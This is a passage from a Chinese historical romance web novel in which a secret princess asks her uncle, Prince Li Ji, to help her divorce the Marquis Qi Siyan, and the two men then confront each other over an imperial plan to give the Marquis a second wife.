两人躬身候在马车旁,门房双手呈上江元音刚交给她的信物,扬声道:“王爷命堂倌领贵人过去,还请贵人下车。”
江元音下了马车,收回了信物。
门牙与堂倌都有些好奇这有珩王信物的女子是何样貌身份,但怕冒犯惹恼,又不敢多看一眼。
门牙立即指挥车夫,将马车停到专供贵人车马停泊的小院。
堂倌则领着江元音主仆进了鹤鸣琴筑。
过了门口造景,里面更是讲究。
不设大堂,只有雅间包厢。
包厢与包厢之间并不是用简单的廊道串联,而是用景隔开,将清幽雅致展现得淋漓尽致。
江元音一路欣赏着景致,耳畔依稀能听到丝竹管弦声。
一番左拐右绕,才到了一雅间门口。
停在有山水写意画的房门前,堂倌躬身禀告道:“王爷,人给您领过来了。”
“进来。”
堂倌这才敢推开雅间的门,待江元音主仆踏进去后,又关上了门。
里面更是别有洞天。
偌大的空间里,是景叠景,屋角放着稀缺的冰块降温,室内温度宜人。
枣木雕刻的琴台上,南笙一身杏色纱衣,微微低眸专注抚琴。
哪怕有人进来,也未停下。
江元音环视了一圈,没寻找李霁的身影。
想象中饮酒作乐的画面并未出现,她不免有些愧疚。
许是那日赏荷宴,听了那些个贵夫人的说辞,先入为主了。
她还以为他来这听琴赏乐是假,同南笙玩乐是真。
现在看来,他还真是来听曲的。
有随侍自一块八折面屏风后出来,恭敬道:“侯夫人,这边。”
江元音颔首迈步走至屏幕后。
李霁单手撑头,侧躺在软榻上,手持折扇悠哉扇着,好不惬意快活。
江元音摘下帷帽,福了福身行礼,“妾身见过王爷。”
李霁睁眼,坐直身子,合扇朝她点了点,不赞同道:“你有孕在身,行这些虚礼作甚?”
他收了腿,往软榻一侧挪了挪,执扇敲了敲他刚腾出来的空位,道:“过来坐。”
这屋内没其他座椅,便是让随侍去添一把椅子来,定也不会有他的专座舒服。
反正可供他平躺酣睡的软座,坐两个人是完全不挤的。
何况以他俩的关系,实在没必要避讳这些。
江元音短暂的犹豫,随即噙着笑,乖巧走过去:“多谢王爷。”
既是她有求于人,自然得摆出好脸色。
顺着她这位皇叔一点。
可这屋内其余人并不知晓二人的关系。
雪燕和清秋面面相觑,讶然不已。
夫人和王爷何时这般亲近要好了?
竟会愿意和王爷同坐一张榻?!
这……若是被侯爷知道了可怎么办?
江元音自然地在距离李霁一尺远的软榻落座,笑吟吟道:“冒昧叨扰,王爷勿怪。”
李霁还是第一次看她对自己露出这般“好脸色”,怪不适应的。
他清了清嗓子,扫视打量她,道:“你这是缓过来了?”
上一回在户部尚书府,两人把她的身世说开,她还一副吓得不轻,站都站不稳的样子。
是以,这几日他也没去寻她,给她时间冷静缓缓。
完全没想过,她会主动来找自己。
但见她这笑吟吟的模样,应当不是来寻他麻烦的。
江元音知晓他问的是什么,点点头:“多谢王爷关心。”
“找本王何事?”李霁又展扇扇了扇,“不过你来得挺巧,本王正有事要找你,你今日不来,本王也要去寻你。”
闻言,江元音只好先放下自己要说的事,询问道:“王爷有何事要找我?”
李霁命随侍退下,又抬眼看看雪燕、清秋。
江元音会意,屏退她们。
于是李霁的随侍领着雪燕、清秋退至屏风后。
江元音静候李霁开口。
李霁话到唇边倏地又想起了她上回知晓身世真相的反应,不免有些犹疑担忧。
他反复合扇展扇,欲言又止。
江元音原本心态平和,被他这样一弄,反而滋生出紧张来。
她催促道:“王爷不妨直言。”
……他是有甚坏消息要告诉她?
李霁看向她的肚子,开始同她铺垫预防,叮嘱道:“一会无论听到本王说了什么,你都莫要太过激动,切记为自己肚中孩儿着想,保持冷静,别动了胎气。”
江元音被他弄得越发紧张,敛了笑,紧声道:“无论王爷说什么,我都不会动胎气的,王爷快些说吧。”
李霁这才开口道:“昨日皇兄宣本王入宫,商议……”
他顿了顿,密切关注着江元音的神色,“给定宁侯纳妾的事。”
江元音闻言恍然了他的欲言又止,紧张消散,剩一抹猝不及防的刺痛。
她很快将其压下,维持着平静的面色。
李霁见她面色如常,才接着道:“本王便直说了,虽说是纳妾,那估摸着应该是……平妻。”
“皇兄这次要选的,是汴京贵女,在你这个主母不过是商贾出身的前提下,没哪个贵女会愿意入侯府为妾的。”
“所以,当是平妻。”
其实李霁怕江元音伤心,还省略了一些没说。
事实上,李彦成原本的意思是,将江元音贬妻为妾,再让齐司延娶贵女入门。
若这个侯夫人不是江元音,他不会发表左右李彦成的任何决定。
他明哲保身多年。
但因为是她,他破格劝阻了一番:“臣弟知道皇兄是看在江家主动献上家财填充国库的份上,才将其女赐婚给定宁侯,可如今定宁侯一病愈,便贬妻为妾,难免叫人误会皇兄是卸磨杀驴。”
“请皇兄三思。”
“平妻”是他为江元音争取来的。
江元音睫毛轻颤,一副毫不在意模样地点点头,道:“侯爷如今要重回朝堂,定宁侯府自会欣欣向荣,江家无权无势,侯门主母的位置,属实是我高攀了。”
“你何必妄自菲薄?”李霁不认同,面上训斥,实则安慰道:“你其实是公主,论尊贵,哪个贵女比得上?”
听到“公主”二字,江元音满眼自嘲,不想李霁担心安慰自己,便故作轻松的笑了笑,随口感慨道:“皇上倒真是处处替侯爷考虑,从前侯爷身弱,便为他选个无权无势的商贾之妻,免得他遭了欺负。”
“现在侯爷病愈,要回朝堂,便立即为他挑选贵女入门,真是煞费苦心。”
李霁眸色复杂,并不接话。
他知道真相和她说的,恰恰相反。
之前给齐司延赐婚,皇兄可不是怕其被欺负,而是怕其借到任何的势。
现在,又要给齐司延赐婚,不过是因为其断亲,清理了门户。
皇兄需要再安排自己的人进到侯府。
可他装聋作哑了十多载,不会去趟浑水。
李霁不回应江元音的这番感慨,兀自道:“总之齐司延如今病愈了,又有侯爵在身,三妻四妾的再正常不过,只要他待你好,你俩感情好便好,莫去钻牛角尖。”
“何况,情况也没那么糟糕,本王还有个好消息告诉你。”
江元音问:“什么好消息?”
“皇兄将此事全权交予了本王,”李霁挑眉,“本王一定替你好生筛选,选些脾性好相与,不爱生事的,过几日物色好了人选,本王拿与你瞅瞅,你自己挑个合眼缘的,免得日后看着便生气。”
“不必这般麻烦,”江元音拒了,“王爷随心挑选便好,无论日后要嫁入侯府的贵女是谁,我都不会在意。”
“哦?你竟这般想得通?”李霁目露欣赏,“倒是本王小瞧你了,世间情爱本就是庸人自扰之,过好自己,不亏待自己最是重要。”
江元音认可点头,随后沉声道:“我今日前来,是有一事相求。”
“何事?且说来听听。”
“请皇叔助侄女和离。”
第129章 心上人
“和离?”李霁执扇,对着江元音的额头轻轻一敲:“亏本王刚还夸你通透,结果你还是意气用事。”
“侄女并非意气用事,”江元音否认:“皇叔,此乃侄女深思熟虑后的决定。”
江元音自称“侄女”,唤他“皇叔”,强调二人的关系。
李霁逸出一声冷哼,质疑道:“你一听闻他要娶平妻,便要和离,还说不是意气用事?”
江元音不激动辩驳,徐声解释道:“这本来就是我今日来此处寻皇叔的原因,若非皇叔打断,早在皇叔开口说要为侯爷物色平妻之前,我便先说了。”
“我要和离,同他娶不娶平妻无关。”
“只不过他要娶平妻了,我要和离也更顺理成章了。”
说到这,江元音的心情愈发平静了。
原本还觉得要同齐司延和离有些棘手,现在看来,冥冥之中,一切都在给她助力。
她要抓住机会。
李霁见她神色淡淡,又回忆了一番她刚进来的说辞。
的确是他先打断了她的话在先。
可无论是在船舫上见着齐司延,还是先前两次和江元音的见面,他们都在他面前透露出一个讯息:他们是恩爱夫妻。
何况,她还有孕在身。
因此,他才会在李彦成要他给齐司延物色平妻时,忧心江元音能否接受。
对于她要和离,他仍有狐疑,揣测问道:“你们吵架了?”
他神色微凛,又问:“他欺负你了?”
江元音摇头,缓声道出早就备好的说辞:“想必皇叔上回也听明白了,我对江家没任何感情,甚至说得上是有些恩怨,这十多载,我在江家过得并不好。”
李霁是记得的。
他先前试图用欺君之罪,要满门抄斩来恐吓她。
但她半点不受威胁。
现在仔细一琢磨,更觉不对劲。
“江家人苛待你?”李霁握紧手中的折扇,“因为你非亲生,所以待你不好?”
“是。”
“可如若是这样,他们为何会选你嫁给定宁侯?”对江家而言,这明显是门高攀的好亲事。
“因为他们的亲生女儿不见了,没得选,”江元音轻描淡写,“他们在意的只是其子江正耀的前途,与江家的未来,我不过是他们攀附权贵的工具,何况,皇上赐婚时,侯爷已是命不久矣的状态了,不是吗?”
李霁脸带怒气:“若不是皇兄登基后,为平定边关之乱,征战多年,耗空了国库,江家小儿哪能当太子伴读?”
“不过要收拾江家,易如反掌,”他不屑道:“本王定替你出一口恶气。”
江元音将跑偏的重点拉回来,“我说这些只是想告诉皇叔,我嫁入侯府的原因。”
“我嫁入侯府,亦是没得选,更是为了离开江家。”
“我本就没打算留在侯府,和离自然是深思熟虑后的决定。”
李霁半信半疑地问:“你嫁入侯府近六个月,想来这半年,你同定宁侯还是有些情谊的吧,当初的念头难道一直未变?”
他目光下移,看了看江元音的腹部:“你如今怀着他的骨血,当真要和离?”
江元音先点头,表明了态度立场,随后率先回应了最关键的一点:“我并未怀孕。”
“什么?”
江元音早备好了解释的说辞:“我嫁入侯府后,叔母陆氏一直滋事,见我与侯爷迟迟未圆房,便打着将其嫡孙过继到我与侯爷名下,好继承侯爷侯爵的算盘。”
“因此,我才与侯爷商量假孕,糊弄过去。”
“你的意思是,你同定宁侯并未圆房?”李霁讶然不已,“什么琴瑟和鸣,恩爱不疑都是假的?是定宁侯装的?”
江元音不置可否,继续道:“现在侯爷清理了门户,身体大好又重回了朝廷,圣宠不衰,为其物色门当户对的贤妻,自用不着我了。”
“何况侯爷越是活跃于朝堂,我免不了要接触王孙贵族、达官贵人,我这张脸……随时会惹来杀身之祸。”
“诚如皇叔所言,世间情爱本就是庸人自扰之,过好自己,不亏待自己最是重要。”
“侄女……不想留在汴京。”
江元音这番话,乃她反复斟酌,精心准备。
她说的皆是实话,只是没有说全,以及有些用了话术,特意调转顺序。
她省略了对齐司延的动心、动摇乃至于心死不提,是不想在李霁面前曝露齐司延装病之事。
上一世,她犹记得李承烨攻入汴京时,为李霁发过好几次火。
他要复位复仇,光杀李彦成自然不解气,可偏偏李霁在三十岁那年便请旨离开了汴京,遁迹山野,觅寻知音去了。
李承烨派人寻了李霁几年,都踪影难觅。
她当时还感慨过,这位珩王不涉朝堂,独善其身,早早抛了荣华富贵,反而救了自己一命。
李霁今年二十八了,距离他离开汴京也只有两年。
从这个角度而言,他和她的观念一致。
他们无怨无仇,他甚至还愿意助她,她更不能拉他下水,参与齐司延他们的权谋游戏。
李霁听完,一张脸是云开雾散,眉目舒展。
他眸色一亮,“你要早说,也省得本王为你烦心了!”
这下轮到江元音不解了,疑惑看他。
李霁回道:“那定宁侯并非良配,本王要早半年遇上你,说什么也不会让你嫁给他。”
江元音越发困惑:“为何?”
她心口一紧。
难不成,其实齐司延的韬光养晦,他早就知道?
李霁并不清楚齐司延是个什么状况,但他无比了解李彦成。
他那生性多疑的皇兄,根本不会让齐司延久活。
齐司延此次病愈堪称奇迹,下一次,未必还能这般好运。
若是江元音真的有孕,且执意和齐司延长相厮守,他或许会提点几句,为其谋一条生路。
如今江元音既无心齐司延,又不是真的有孕,他没必要再去点破。
于是他把问题抛回去,反问道:“他要是良配,你怎地成婚半年,还坚持要和离离开?”
江元音被问住了。
……还真没法反驳。
李霁看她这被噎住的表情更是喜笑颜开。
他被她噎了数回,终于有看她被噎的时候了。
他得意的展扇扇了扇,笑道:“总之你我现下算是一拍即合,这事好办,乖侄女,你同定宁侯和离之事,你皇叔我允了!”
“你且说说,你有何打算,想让本王怎么帮你?”
江元音正要开口回答,这时耳畔的琴音骤停。
她原本没当一回事,只当南笙是一曲弹罢,稍作歇息调整。
然而李霁却倏地收了扇,神色紧张,朝她做了个噤声的姿势。
一旦他在屏风后和人单独谈话,南笙是绝不会随意停止抚琴的。
这琴音是掩护更是信号。
……有突发状况!
没了琴音遮掩,屋内的动静声响便大了。
下一瞬,急促的脚步同随侍的声音响起:“王爷在与人议事,许小姐停步,不可硬闯!”
江元音望着李霁,脱口而出:“许绮嫚?”
那个众贵夫人口中,对李霁痴心一片,蹉跎至今也没嫁人的国公府嫡女?
李霁颔首,满脸烦恼,不耐道:“阴魂不散!”
与此同时,许绮嫚的声音越来越近,急切而跋扈:“你给我闪开!”
脚步声由远及近,李霁依稀能看见屏风后摇曳的纱裙。
他低咒一声“糟了”,来不及开口提醒,直接上手拿过江元音摘下来的帷帽,替她戴上。
国公府能有今日的荣宠,其原因之一是,国公爷乃先皇后兄长。
先皇后乃许绮嫚的亲姑姑,按血缘,许绮嫚和江元音是姑表姐妹。
若许绮嫚幼时对先皇后的记忆深刻,一见着江元音怕是要起疑。
李霁刚将帷帽戴着江元音头上,许绮嫚便迈过了屏风。
落在她眼里,两人同坐一榻,举止亲密。
她霎时红了眼,微仰着下巴,免得泪水落下,颤声问:“她是谁?”
“同你有何关系?”李霁不悦道:“许绮嫚,这么多年,你还没闹够吗?堂堂国公府嫡女,不嫌丢人?”
“拜王爷所赐,我早就沦为全汴京的笑柄,还怕什么丢人!”
江元音只道乐极生悲,事情进展太顺利总归要遇见波折。
这不,波折来了。
她悄悄地往角落里挪,恨不能凭空消失在两人之间。
可许绮嫚不如她意,抬手指着她,质问李霁:“王爷近来日日流连这琴坊,为的竟不是什么南笙姑娘,而是她?”
她连续逼问道:“她到底是谁?同王爷是何关系,为何戴帷帽遮盖面容,她有何不可见人?”
她要知道她痴恋了他整整十年,到底是输给了怎样一个女人!
“许绮嫚,你最好适可而止!”李霁怒道:“若不是看在先皇后的份上,本王早要治你的罪!”
“只要能搞清楚她是谁,我随王爷如何治罪!”
许绮嫚激动上前,要伸手去摘江元音的帷帽。
李霁急中生智,一把搂住江元音护住,故意大声道:“从前的事暂且作罢,你今日要敢欺负本王的心上人,本王定不轻饶!”
许绮嫚果然好似被点穴般顿住,哽咽重复:“心、心上人?”
“正是,”李霁点头:“你死心吧,日后莫再纠缠本王。”
江元音无语叹息。
他为了甩掉许绮嫚,竟拿她当挡箭牌!
看在许绮嫚不知道她是谁,而她也马上要离开汴京的份上,她就帮他一把,算还了他帮她和离的人情。
是以,江元音没有推开李霁,很是配合地任他搂住。
这时,跟着许绮嫚走过来,被许绮嫚主仆以及李霁随侍挤得只能站在屏风那观望的清秋与雪燕,似是听到了什么动静,转身看向门口的方向。
随即慌乱出声:“侯、侯爷……”
江元音僵住。
齐司延怎么会在这?!
第130章 王爷预备何时松开臣妻?
这下被点穴的人不仅是许绮嫚了。
还有江元音和李霁。
江元音能接受事情进展顺利时,遇见点波折,但眼下她遇上的显然是惊涛骇浪。
但凡齐司延冲她开口,她的身份马上要在许绮嫚面前暴露。
齐司延大步绕过了雪燕、清秋,停在屏风前。
他没有再往前走,只是面无表情地立在那。
他没有同李霁行礼,目光从李霁搂住江元音的手,缓慢上移至她的帷帽面纱。
可他没有说话,只是一瞬不眨地盯着,似要用目光划破那层面纱。
最先有所反应的人,反而是许绮嫚。
齐司延的出现,让她甚觉丢脸。
全汴京无人不知她痴恋李霁的事,现在李霁当着她的面,同另一个女人卿卿我我。
齐司延定要笑话她!
她绷不住,一如她刚冲进来那般,又风风火火的小跑着离开。
直到许绮嫚主仆一行离开了雅间,齐司延掀了掀眼皮,看向李霁。
他腰背挺得笔直得站着,似是俯视李霁一般。
他张了张唇,很是平静地开口:“王爷预备何时松开臣妻?”
他咬字极轻,却是风雨欲来之势。
李霁见齐司延咄咄逼人,反而越发轻松。
他没有半点不自在的松开江元音,不尴尬亦不紧张,展扇扇了扇,问道:“定宁侯怎么来了?”
齐司延不答,目光死死黏在仍和李霁同坐一榻的江元音身上,“阿音,过来。”
他音色依旧平稳,听不出半分怒气的样子。
江元音知道今日注定没法和李霁继续谈事了,趁着此刻大家还没生出“不愉快”,至少面上都还大度体面,赶紧同齐司延离开。
可偏偏这时李霁执扇敲敲她的手臂,不嫌事大的悠哉道:“过去作甚,那又没椅子的,能有本王软榻舒适?”
帷帽下江元音侧头白了李霁一眼。
她帮他甩掉许绮嫚,他却推她入火坑?
……好一个“恩将仇报”!
齐司延看不到江元音面上的表情,只知道她转头看着李霁。
李霁拿扇敲她的动作是那般自然熟稔,两人绝非初见见面。
他们甚至视他于无物地对视着。
刹那间,屋内仿若又添了几桶冰块似的,大夏天的,让人生寒。
李霁却笑得越发开心,冲江元音道:“我们不是还没聊完吗?”
江元音眼角抽了抽。
她不知道李霁出于何种缘由,在故意生事。
趁着齐司延目前还跟没事人似的,赶紧离开为妙。
思及此,她起身冲李霁福了福身,算是行了告别礼,走向齐司延。
齐司延几乎是立即伸手,牵住了她。
他没同她说话,只是侧目看向李霁,回答他先前的问题:“今日臣受召入宫,皇上命臣修缮崇光院,故臣邀约工部尚书了解崇光院的情况。”
“刘尚书挑了这鹤鸣琴筑,臣甫一到便听闻王爷也在,故来同王爷问安行礼。”
“顺便,来接臣妻。”
齐司延说得轻巧淡然,却用意颇深。
“来接臣妻”四个字,既否认了江元音同李霁是背着他私会,又再次同李霁强调了江元音是他的妻子。
李霁表示了然的点点头,敷衍道:“行,那你同刘尚书谈事去吧。”
语罢又看向江元音,挽留道:“他要同刘尚书谈事,一时半会定也谈不好,修缮崇光院没甚好听,你不如留下,继续陪本王听琴,那多有趣?”
不待江元音出声,齐司延侧头问道:“阿音是想跟我走,还是留在这听琴?”
他声音很轻,牵住她的手却用力握紧,情绪不言而喻。
李霁继续插入两人中间,劝江元音道:“你留在这,等他谈完事了再来接你,岂不皆大欢喜?”
江元音真是服了。
李霁一副不将齐司延搞到发火不会罢休的样子,而齐司延的气压越来越低。
这算哪门子的皆大欢喜?
她不回应恶作剧的李霁,冲齐司延道:“侯爷若不嫌妾身会打扰到你同刘尚书议事,妾身愿伴侯爷左右。”
齐司延闻言,一瞬都不愿在这雅间多待,牵着江元音大步离开。
步伐之快,带得衣角飞扬。
李霁噙着笑,看着二人离开的背影,意味深长的扇扇。
原本热闹的雅间归于清净。
随侍不解地问:“王爷这般,不怕那定宁侯为难他夫人?”
“该,”李霁冷哼,“谁让那小丫头对本王就没几句实话。”
他先前还真就信了她说的,齐司延同她没感情。
可刚刚齐司延的表现,那分明是在意她在意到骨子里了。
齐司延刚过来时,许绮嫚还在场,明明介意得不行,却还能控制住情绪,不发一言,没有泄露江元音的身份。
刚刚他故意同江元音举止亲密的挑衅,齐司延也未有任何出格有失体面的反应。
齐司延甚至,用一句“来接臣妻”,主动帮江元音圆场。
这不是喜欢是什么?
李霁总结完自己的测试结果,吩咐随侍:“让南笙继续抚琴。”
齐司延牵着江元音,在堂倌的领路下到了刘尚书定的雅间。
“刘大人久等了,”齐司延牵着江元音的手一点没松,冲刘尚书浅笑介绍道:“这是我夫人,我不想她成日闷在府中,便带她一道过来,刘大人莫怪。”
他一字未提及李霁,兀自为江元音寻好了说辞。
“诶,侯爷说得哪的话,”刘尚书微微俯身,夸赞感慨道:“侯爷同夫人当真是恩爱,传闻不虚啊。”
江元音听着只觉得好笑。
“夫妻恩爱”是他对外立得另一形象吗?
就如他之前的“病秧子”一般。
他今日入了宫,李彦成不可能没跟他提让他迎娶贵女为平妻的事吧?
那他何必还拉她演什么夫妻恩爱?
江元音温声同刘尚书招呼道:“刘大人。”
随后尝试抽出自己的手,“妾身寻一处坐着,不打扰侯爷与刘大人议事。”
这处雅间同先前李霁那间又大为不同,除去他们现在所处的主桌,景观好的位置还摆放着小矮几和小凳子。
然而齐司延半点不松,“不打扰。”
江元音:……
于是江元音只能坐在他身边。
虽然他的神态、举止、语气都很平静,看不出有半点怒火的样子,但她知道他生气了。
可他生的是什么气?
他知晓她的身世,不可能会像许绮嫚一样,误会她和李霁的关系而生气。
他大抵是因为她不曾知会,背着他去见李霁生气吧。
又或许,是担心她会和李霁密谋些什么?
江元音兀自揣度着,但很快便被齐司延和刘尚书的谈话吸引。
崇光院是李彦成想在汴京设立的供世家权贵子弟们上学的学堂。
可修缮了两年都未完工,于半年前便彻底停工了。
刘尚书叹息道:“我心里也一直记挂着这事,可惜实在是拿不到朝廷的拨款,才不得不停工搁置啊。”
他话锋一转,又透出欣喜来:“现下圣上将此事交予了侯爷负责,侯爷尊荣备至,想必拨款很快能下来。”
“崇光院定能速速修缮好!”
江元音听着却觉得不对劲。
这便是齐司延回朝堂后,李彦成给他的公务?
未免也太不看重他了。
她又想起了李霁先前说的,国库亏空,那修缮这崇光院的事,根本是个烫手山芋。
李彦成对齐司延的“皇恩圣宠”,都是假的吧?
齐司延不置可否,只是询问道:“刘大人可将之前施工图纸与进度档案带来了?”
刘尚书去拿,这时齐司延侧头问江元音:“渴不渴?”
“唔?”江元音正想得认真,一时没反应过来。
齐司延直接越过面纱,将茶杯递到她唇边。
当着刘尚书的面,江元音不好扫了他的面子,尝试抽出自己的手来接茶杯。
可齐司延半点不肯松,也不让她用左手接,执着地喂她。
之后,他一边同刘尚书谈事,一边不忘不时投喂她些点心之类的。
总之绝不松开她的手。
半个时辰后,齐司延将刘尚书带过来的图纸与相关资料卷宗收下,递给曲休保存。
之后同刘尚书告别起身。
又是一路无言的走至鹤鸣琴筑的正门口,齐司延驻足停下,墨眸幽深,问江元音:“你可是坐马车来的?”
江元音点头。
齐司延见状,眸光骤冷,呼吸重了重。
她是坐马车来的,说明是她主动来找的李霁。
而非李霁派人去侯府寻的她。
……竟是,她主动的。
第131章 你会为了元音,违抗圣旨?
齐司延牵着江元音上了她乘坐来的马车,没命车夫起程,命曲休、雪燕、清秋候在车外。
显然是要同江元音单独谈谈。
待上了马车,齐司延依旧没松开她的手,抬起另一只手,摘掉了她的帷帽。
没了面纱遮挡,他与她四目相对,道:“我竟不知,阿音还同珩王爷认识。”
江元音不慌不乱,回道:“有过几面之缘。”
齐司延将她稍稍握紧了些,“几面?”
江元音没甚好心虚的,如实回道:“四面。”
齐司延注视着她,不想错过她每一丝神色变化,接着问:“那第一次是何时?”
“七月初七,乞巧节,”不待他追问,她详细补充道:“那夜侯爷离了船舫,我同雪燕、清秋去街市上闲逛,遇到了珩王爷。”
虽然那夜,她没看清楚他的脸,也不知他的身份,但那的确是她第一次见到李霁。
齐司延回忆起那晚的细节。
那夜他乘小舟去到李霁的船舫,结果李霁姗姗来迟,最后亦是乘舟而来。
吹箫演奏一曲,才上了船舫。
原来是先去了街市?
齐司延又问:“阿音那夜为何没同我说?”
“那夜不过是匆匆一瞥,我亦不知道他是珩王爷,要同侯爷说什么?”
齐司延面色平静,墨眸却汹涌:“初七至今日,不过八日。”
“短短八日,阿音同珩王见了四回,难道阿音不该主动告诉我一声?”
江元音听着想笑,“我便是主动说也得见得到侯爷才是,这些天,侯爷避我如蛇蝎,对我不闻不问,现下却来问责我,为何不主动告知?”
“侯爷未免太霸道不讲理了。”
“是,我自知乞巧节后冷落了阿音,”齐司延一半自嘲,一半酸涩,“没成想,阿音竟是半点没闲着。”
“比不得侯爷日理万机。”
齐司延呼吸重了重,克制着情绪,试探问道:“珩王爷可是和你说了些什么?”
他不奇怪李霁会“缠”上她。
但凡李霁见过她的脸,都不可能无动于衷。
那她为什么愿意同李霁频繁见面,甚至今日主动去寻李霁?
难道她知道自己的身世了?
江元音不咸不淡地回:“他说我眉眼酷似他一位故人,我甚合他眼缘。”
她当然知道齐司延在试探她。
可她厌恶极了他这样。
他总是不透半点底,凭甚让她单方面的交代清楚?
“没了?”
“侯爷到底想听什么,不妨直言,”江元音意有所指,“毕竟我与珩王爷,相谈甚多。”
齐司延蹙眉,声音沉了沉:“阿音为何愿意同珩王爷来往?”
避免她又含糊敷衍,他补了句:“总不可能是因为他擅吹箫吧?”
江元音被他的话带回了乞巧节的银镜湖,不免想起他在船舫上的话。
什么一生一世一双人,一生有她足矣,绝不纳妾。
是啊,他不纳妾,但马上要娶妻了。
思及此,江元音笑了笑,故意道:“如何不能呢?”
“珩王爷才华横溢,风趣优雅,并不是侯爷口中的老男人,而是青年才俊正是……”
齐司延一句也听不下去,用力拉拽了下她的手,打断她的话,“所以,你是为了他要与我和离?”
江元音震惊睁眸,不可思议道:“你疯了?”
他不是知道她的身世吗?
为何还会冒出这样匪夷所思的想法?
齐司延紧绷的弦在她这番反应下松懈下来。
他倾身凑近,做了昨晚便想做的事,轻轻吻了吻她的唇。
蜻蜓点水,在她反应过来前快速离开。
他笑道:“不是就好。”
江元音:……?
他到底是什么脑回路?
“回去吧。”齐司延终于松开了她的手,下了马车。
雪燕和清秋忙上了马车,齐司延示意车夫起程。
曲休悄悄打量着齐司延的面色,请示道:“侯爷,我们也走?”
齐司延摇头,突兀问道:“夫人近来经常出府?”
曲休点头:“较之从前的确频繁。”
齐司延不悦拧眉:“为何不告诉本侯?”
“我要说的,是侯爷不许我提啊……”曲休很是无辜地提醒:“先前夫人让我转告侯爷,说她去了云鹤观后,心间诸多疑惑,希望侯爷能为她解惑。”
“可那两日,我一提及夫人,侯爷……”曲休反复抬眼看他,“便让我闭嘴,是以我便不敢再开口了。”
在侯爷与夫人冷战前,侯爷是很关心夫人每日的动向的。
因此,青松院的小厮,都有及时将夫人的一举一动报告他的习惯。
可那几日是侯爷自己不听他禀告啊。
齐司延紧声问:“她去了云鹤观?何时的事?”
“侯爷进宫那日。”
齐司延面色紧绷。
曲休斟酌着言辞,小心翼翼道:“侯爷,夫人当是知道了些什么才和侯爷置气,非是因为受了冷落……”
齐司延恍然。
……难怪,她这么难哄。
是他一直弄错了她生气的原因。
曲休顺势推波助澜地劝道:“侯爷不如我们速速起程,说不定能追上夫人的马车,便是追不上也能相差无几地回到侯府,侯爷赶紧同夫人把话说开,定能将夫人哄好!”
然而齐司延却否决了:“不急。”
他抬步重回鹤鸣琴筑。
在去同阿音解释认错前,他得先解决后顾之忧。
齐司延再次折返李霁的雅间。
李霁故作讶然地问道:“定宁侯怎地一个人折返了?”
他略显浮夸地看了看他的四周,“元音呢?怎地不一块来?”
“元音”二字他特意唤得亲昵。
他倒要看齐司延能忍到何时。
齐司延不答,微微俯了俯身:“臣有几句肺腑之言,想同王爷单独说说。”
李霁悠哉扇扇:“行,刚好听了一下午曲,耳朵也有些乏了。”
他扫了眼随侍,示意其退下。
曲休同其随侍一同退下。
李霁坐卧榻上,单手向后撑着身子,抬首望着站在屏风前的齐司延,“不过这屋内没第二把椅子,定宁侯要同本王说话怕是只能站着了。”
“无妨,”齐司延面色不变,淡声道:“臣最多叨扰王爷一刻钟。”
李霁开口问:“定宁侯有何话要同本王说?本王愿闻其详。”
虽说齐司延只能干站着看向坐着的李霁,但其气场半分不输。
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r>李霁挑眉,“所以呢?”
齐司延直视李霁:“臣知道王爷看阿音,定是长辈看晚辈的疼惜,可旁人难知,且人言可畏,还请王爷日后同她保持距离,莫将她带入流言蜚语中。”
这是他的肺腑之言。
他在意的只有两点,一是江元音在不知道自己身世的情况下,会被李霁的才华吸引,愿意靠近他,并且隐瞒了自己。
二是李霁会给她带来麻烦,惹上危险。
例如,刚刚的国公府嫡女,许绮嫚。
李霁状似认可地点点头,随即收扇,坐直身子。
他直接挑明道:“所以,你也知道她的身世了?”
他懒得和齐司延唇枪舌战,试探来试探去,不如直接挑明。
这才是齐司延撞破他同江元音举止亲密,却没似许绮嫚那般失控的原因吧。
挑破也好,他便可以直入正题。
他逗归逗,可不会不帮江元音和离了。
齐司延主动凑过来了也挺好,省得他改日再去寻他了。
齐司延却不置可否,重声道:“不管她的身世是什么,臣只知道,她是臣妻,这便够了。”
犹记得他几次询问她左肩的刺青,她都闪烁其词,避而不答。
想来,她对自己的身世不感兴趣,不想知道。
既如此,他会帮她守住这份宁静一辈子。
“可她未必这般想,”李霁不留情面地泼他冷水,“她今日来寻我,是让我助她与你和离。”
齐司延眼里有受伤一闪而过。
知晓她去了趟云鹤观,他完全理解明白了她的言行。
阿音是真的生气了。
待同李霁谈妥,他自会去同她解释清楚一切。
李霁出声表态:“你们和离的事,本王允了。”
他能猜到齐司延最后的结局是什么,江元音跟着他,难得善终。
管齐司延对她有没有情,只要她是真的想离开齐司延,离开汴京,他喜闻乐见。
齐司延眸色顿深,紧声道:“王爷何必掺和臣的家事?”
李霁不以为然,摊手回道:“这何尝不也是本王的家事?”
他站起身,慢悠悠朝齐司延走去,边走边道:“先皇后于本王有恩,所以元音,本王一定会护着。”
“如今你身子大好,又重回了朝堂,想必你侯府很快便会迎进新人。”
“她娘家无权无势,新人自不会将她看在眼里。”
“你便是有心护她,也不可能日日候在她身边吧。”
“如你先前所言,人言可畏,本王亦不便替她出面。”
“不和离,难道要等着看她被你迎进门的新人欺负?”
齐司延不恼,反而真心诚意朝李霁作揖行了礼,“多谢王爷替阿音着想。”
“只是王爷多虑了,侯府不会有新人。”
“臣此生,绝不纳妾。”
“哦?”李霁眯眼看他,“你今儿个不是去了趟宫里么?怎地皇兄没跟你提要帮你再娶一位平妻的事?”
齐司延脸色骤变:“什么?”
“话都说到这个份上,本王便给你透个底,皇兄已命本王着手,替你物色汴京贵女,嫁入你侯府为平妻。”
“……”
李霁抱臂看他,饶有兴致地问道:“难不成你会为了元音,违抗圣旨?”
第132章 侯府不再添新妇
齐司延不答反问:“敢问王爷,可有将此事告知阿音?”
李霁点头。
齐司延试探问道:“此事,王爷是何时告诉阿音的?”
她刚说他们已经见过四次面。
难道他不在汴京的日子,李霁告知她,李彦成要为他娶平妻?
所以,他昨夜一回来,她态度大变,对自己冷漠疏离,也不愿意同他亲密。
甚至,向他提了和离。
李霁不满齐司延回避自己的问题,还不住追问他,于是不答此问,重复自己之前的问题:“你能为了元音,抗旨?”
齐司延没有半分犹豫挣扎,回道:“不会。”
李霁嗤笑出声,扇子敲着自己的胳膊,不同其废话道:“那你便爽快些,同元音和离,你若行事果断,本王可允你自己来选定要娶哪位贵女。”
“王爷不必为臣费心,”齐司延回道:“臣不会为了阿音抗旨,因为臣不会让这道圣旨下来。”
“你莫不是耳力未好全,本王说了,皇兄已将此事交予了本王。”
齐司延不以为然,“但臣并未接到圣旨,不是吗?”
“哦?”李霁挑眉,玩味道:“那你打算如何做?且说来听听。”
